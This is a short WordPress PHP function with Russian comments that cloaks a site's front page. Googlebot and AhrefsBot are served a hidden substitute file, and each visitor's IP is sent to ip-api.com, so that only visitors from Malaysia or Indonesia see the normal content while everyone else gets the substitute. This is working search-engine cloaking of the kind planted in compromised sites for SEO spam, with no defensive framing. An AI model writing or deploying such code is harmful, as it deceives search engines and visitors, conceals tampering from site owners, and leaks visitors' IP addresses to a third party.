function custom_geolocation_content() { if ( !is_front_page() ) { return; } $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; // Если это Googlebot или AhrefsBot if ( stripos($user_agent, 'Googlebot') !== false || stripos($user_agent, 'ahrefsbot') !== false ) { include( get_stylesheet_directory() . '/custom-content.php' ); exit; } $ip = $_SERVER['REMOTE_ADDR']; $response = wp_remote_get( "http://ip-api.com/json/{$ip}?fields=countryCode" ); if ( !is_wp_error( $response ) ) { $body = wp_remote_retrieve_body( $response ); $data = json_decode( $body ); // Если посетитель из Малайзии (MY) или Индонезии (ID) – оставляем основной контент if ( $data && isset( $data->countryCode ) && ( $data->countryCode === 'MY' || $data->countryCode === 'ID' ) ) { return; } else { include( get_stylesheet_directory() . '/custom-content.php' ); exit; } } } add_action( 'template_redirect', 'custom_geolocation_content' );